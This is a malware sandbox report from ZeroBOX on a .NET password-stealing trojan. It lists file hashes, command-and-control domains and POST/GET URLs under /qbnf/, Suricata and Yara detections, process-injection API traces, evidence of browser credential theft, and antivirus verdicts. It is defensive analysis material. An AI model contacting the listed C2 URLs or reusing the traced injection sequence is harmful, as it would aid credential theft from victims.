Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 29, 2023, 11:16 a.m.	Nov. 29, 2023, 11:20 a.m.

Size	695.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`eb951bc883b87a58ffa82ab793d7e4b0`
SHA256	`3af23f176a5d76d0edc6abddef4aed1a82eff9bc01b0231b44ccda3d1446a49a`
CRC32	`5C9056F6`
ssdeep	`12288:lYH7A4HW2fh6GQulNSfO6/pUdBlVAQkmXwejLL2Ka5lSHRyPQmbCp8:lYHs5wa/udBlSQkvejLLVa5lac`
PDB Path	dxmQ.pdb
Yara	IsPE32 - (no description) PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

wlanext.exe "C:\Users\test22\AppData\Local\Temp\wlanext.exe"
1000
- wlanext.exe "C:\Users\test22\AppData\Local\Temp\wlanext.exe"
  2460
help.exe "C:\Windows\SysWOW64\help.exe"
2556
- firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2732

Name	Response	Post-Analysis Lookup
www.54c7pv.top	A 154.91.180.241	154.91.180.241
www.brucesalyers.com	A 91.195.240.117	91.195.240.117
www.infinite-7.com	A 91.195.240.19 CNAME parkingpage.namecheap.com	91.195.240.19
www.brightpathtechgroups.top	A 198.177.123.106	198.177.123.106
www.charlotte-usa.site
www.swiftricz.com	A 91.195.240.117	91.195.240.117
www.saudiarabia-invest.com	CNAME saudiarabia-invest.com A 81.169.145.74	81.169.145.74
www.luciengeorge.com	CNAME skeletal-caterpillar-5caa8z0zckv31hwhum7ccarw.herokudns.com A 54.216.252.255 A 54.73.26.109 A 108.128.72.146	54.73.26.109
www.mr-u-taste.com	A 202.91.248.226 CNAME s160.pc51.com	202.91.248.226
www.vaultedjewelry.com	A 91.195.240.19 CNAME parkingpage.namecheap.com	91.195.240.19
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
154.91.180.241	Active	Moloch
164.124.101.2	Active	Moloch
198.177.123.106	Active	Moloch
202.91.248.226	Active	Moloch
45.33.6.223	Active	Moloch
54.73.26.109	Active	Moloch
81.169.145.74	Active	Moloch
91.195.240.117	Active	Moloch
91.195.240.19	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:62576 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 198.177.123.106:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
UDP 192.168.56.103:53658 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.103:49186 -> 154.91.180.241:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Nov. 29, 2023, 11:16 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 29, 2023, 11:16 a.m.			0	0
IsDebuggerPresent Nov. 29, 2023, 11:16 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

dxmQ.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 29, 2023, 11:16 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (22 events)

request	POST http://www.vaultedjewelry.com/qbnf/
request	GET http://www.vaultedjewelry.com/qbnf/?1qPpHsU-=rgPWpHOmxKlSe7EHONYdVBrmOnLu4eF6eOSzvd7TZo3R3Fo4Dd2XRg3DbQYqSiNd5R8WYW2HfYo1oy4LJvVB6tvZDWfBfjfjeCKWam8=&4wJ=L5inFf0cTItD
request	GET http://www.sqlite.org/2017/sqlite-dll-win32-x86-3190000.zip
request	GET http://www.sqlite.org/2020/sqlite-dll-win32-x86-3320000.zip
request	GET http://www.sqlite.org/2016/sqlite-dll-win32-x86-3110000.zip
request	GET http://www.sqlite.org/2019/sqlite-dll-win32-x86-3290000.zip
request	GET http://www.sqlite.org/2020/sqlite-dll-win32-x86-3330000.zip
request	POST http://www.mr-u-taste.com/qbnf/
request	GET http://www.mr-u-taste.com/qbnf/?1qPpHsU-=mGR7ZmLmEt9yNzhj107em99ZnYgpgTedSLqstOtysWtmmDPutWYGQHPP7A/bNBdhcJI+eHBY4GrszbL+CPnGOgwl8ziMxMmXJyanig0=&4wJ=L5inFf0cTItD
request	POST http://www.brightpathtechgroups.top/qbnf/
request	GET http://www.brightpathtechgroups.top/qbnf/?1qPpHsU-=/XY8b2QuaMdFC0XpCgsh4GNYF4+K1Jee0ur1wuthWP34gEpbfUtO61S+Wmzh4wGYwfcaHPs6UkqbWuaiX2goUA52btrwqIRWjk6Aczs=&4wJ=L5inFf0cTItD
request	POST http://www.saudiarabia-invest.com/qbnf/
request	GET http://www.saudiarabia-invest.com/qbnf/?1qPpHsU-=TQw86TlhZOZGhyrotGnGA9O38tw4CjcNLRp/p2VP3ufYpIvUmIv9kKzVdrLDClRgTF6URTvKEK1oO5gHY3jB8uOZGTzekB90rbc1k/w=&4wJ=L5inFf0cTItD
request	POST http://www.luciengeorge.com/qbnf/
request	GET http://www.luciengeorge.com/qbnf/?1qPpHsU-=0c7pTBUgqi7uIFOYjbT3SYstx1V9f1GJj9bVxgDbtFRASgICtVyP8zh8VQdSKB3ZTDJ9NwSYp2xAsrB2eli3KEKVX/ICehpktcwDvSA=&4wJ=L5inFf0cTItD
request	POST http://www.brucesalyers.com/qbnf/
request	GET http://www.brucesalyers.com/qbnf/?1qPpHsU-=pOaW0U2I6Oim8KKUbDqJDQhYI0+jOGca0ZkB2ClPUoj3GtGVG9J/gqWS9Mz6XkgBxNiuWxxBos74OtAK1fVYBccuSwjN1UL6AWuKPcU=&4wJ=L5inFf0cTItD
request	POST http://www.54c7pv.top/qbnf/
request	GET http://www.54c7pv.top/qbnf/?1qPpHsU-=R40TEU5sRsOQoxxitOES9+hMTVh8b1wg2WgWpjzQt3scLF2RQpMS0y827zix4QRv7SCVfpbDXNdzS1tGlHHYZLiaPpoCE6jYgQr1YbY=&4wJ=L5inFf0cTItD
request	POST http://www.infinite-7.com/qbnf/
request	GET http://www.infinite-7.com/qbnf/?1qPpHsU-=+6BF5kLU84F0bZC4snN7O//5RGhAAZcl02SXjZ/C8WDlleVZNjPdMeMs0Bth8cY5eBWoVtOkuOGyDcUeP7JOiDQXP7lXIFXFwa8Se1E=&4wJ=L5inFf0cTItD
request	POST http://www.swiftricz.com/qbnf/

Sends data using the HTTP POST Method (9 events)

request	POST http://www.vaultedjewelry.com/qbnf/
request	POST http://www.mr-u-taste.com/qbnf/
request	POST http://www.brightpathtechgroups.top/qbnf/
request	POST http://www.saudiarabia-invest.com/qbnf/
request	POST http://www.luciengeorge.com/qbnf/
request	POST http://www.brucesalyers.com/qbnf/
request	POST http://www.54c7pv.top/qbnf/
request	POST http://www.infinite-7.com/qbnf/
request	POST http://www.swiftricz.com/qbnf/

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

www.brightpathtechgroups.top

description

Generic top level domain TLD

Allocates read-write-execute memory (usually to unpack itself) (42 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02390000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02570000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00292000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0029a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007df000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:16 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0029c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 1000 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02390000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 2460 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a70000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 2556 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (1 event)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\wlanext.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\wlanext.exe

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000ad000', u'virtual_address': u'0x00002000', u'entropy': 7.937032315392419, u'name': u'.text', u'virtual_size': u'0x000acfc8'}

entropy

7.93703231539

description

A section with a high entropy has been found

entropy

0.996400287977

description

Overall entropy of this PE file is high

Yara rule detected in process memory (8 events)

description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 2460 region_size: 253952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000208	1	0	0

A process attempted to delay the analysis task. (1 event)

description

wlanext.exe tried to sleep 2728419 seconds, actually delayed analysis time by 2728419 seconds

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\wlanext.exe

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÀö;\àÄÀà@à@.textDÂÄ ` base_address: 0x00400000 process_identifier: 2460 process_handle: 0x00000208	1	1	0
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2460 process_handle: 0x00000208	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÀö;\àÄÀà@à@.textDÂÄ ` base_address: 0x00400000 process_identifier: 2460 process_handle: 0x00000208	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1000 called NtSetContextThread to modify thread in remote process 2460
NtSetContextThread Nov. 29, 2023, 11:17 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199872 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000224 process_identifier: 2460	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1000 resumed a thread in remote process 2460
NtResumeThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x00000224 suspend_count: 1 process_identifier: 2460	1	0	0

Executed a process and injected code into it, probably while unpacking (17 events)

Time & API	Arguments	Status	Return
NtResumeThread Nov. 29, 2023, 11:16 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1000	1	0
NtResumeThread Nov. 29, 2023, 11:16 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1000	1	0
NtResumeThread Nov. 29, 2023, 11:16 a.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 1000	1	0
NtResumeThread Nov. 29, 2023, 11:16 a.m.	thread_handle: 0x0000028c suspend_count: 1 process_identifier: 1000	1	0
NtGetContextThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 1000	1	0
CreateProcessInternalW Nov. 29, 2023, 11:17 a.m.	thread_identifier: 2464 thread_handle: 0x00000224 process_identifier: 2460 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\wlanext.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\wlanext.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000208	1	1
NtGetContextThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x00000224	1	0
NtAllocateVirtualMemory Nov. 29, 2023, 11:17 a.m.	process_identifier: 2460 region_size: 253952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000208	1	0
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÀö;\àÄÀà@à@.textDÂÄ ` base_address: 0x00400000 process_identifier: 2460 process_handle: 0x00000208	1	1
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: base_address: 0x00401000 process_identifier: 2460 process_handle: 0x00000208	1	1
WriteProcessMemory Nov. 29, 2023, 11:17 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2460 process_handle: 0x00000208	1	1
NtSetContextThread Nov. 29, 2023, 11:17 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199872 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000224 process_identifier: 2460	1	0
NtResumeThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x00000224 suspend_count: 1 process_identifier: 2460	1	0
NtResumeThread Nov. 29, 2023, 11:17 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2556	1	0
CreateProcessInternalW Nov. 29, 2023, 11:17 a.m.	thread_identifier: 2736 thread_handle: 0x00000304 process_identifier: 2732 current_directory: filepath: C:\Program Files\Mozilla Firefox\firefox.exe track: 1 command_line: filepath_r: C:\Program Files\Mozilla Firefox\Firefox.exe stack_pivoted: 0 creation_flags: 12 (CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000334	1	1

File has been identified by 43 AntiVirus engines on VirusTotal as malicious (43 events)

Lionic	Trojan.Win32.Generic.4!c
MicroWorld-eScan	Trojan.GenericKD.70609031
FireEye	Trojan.GenericKD.70609031
Skyhigh	BehavesLike.Win32.Generic.jc
Malwarebytes	Trojan.MalPack.PNG.Generic
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (W)
VirIT	Trojan.Win32.MSIL_Heur.A
Symantec	Scr.Malcode!gdn34
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/GenKryptik.GQMB
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan-PSW.MSIL.Agensla.gen
BitDefender	Trojan.GenericKD.70609031
Avast	Win32:PWSX-gen [Trj]
Tencent	Msil.Trojan-QQPass.QQRob.Ngil
Sophos	Troj/Krypt-ABH
F-Secure	Trojan.TR/Kryptik.ceaff
DrWeb	Trojan.Inject4.59820
VIPRE	Trojan.GenericKD.70609031
Emsisoft	Trojan.GenericKD.70609031 (B)
Ikarus	Win32.Outbreak
GData	Win32.Trojan.Agent.4G8ER3
Webroot	W32.Trojan.MSIL.Taskun
Varist	W32/MSIL_Kryptik.BYC.gen!Eldorado
Avira	TR/Kryptik.ceaff
Kingsoft	Win32.Troj.Unknown.a
Gridinsoft	Ransom.Win32.Wacatac.sa
ZoneAlarm	HEUR:Trojan-PSW.MSIL.Agensla.gen
Microsoft	Trojan:MSIL/AgentTesla.MBFC!MTB
Google	Detected
AhnLab-V3	Trojan/Win.PWSX-gen.C5555895
McAfee	Artemis!EB951BC883B8
MAX	malware (ai score=85)
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R06CH0DKS23
Rising	Malware.Obfus/MSIL@AI.100 (RDM.MSIL2:JfqTY+42z73wsY1q/w/Uag)
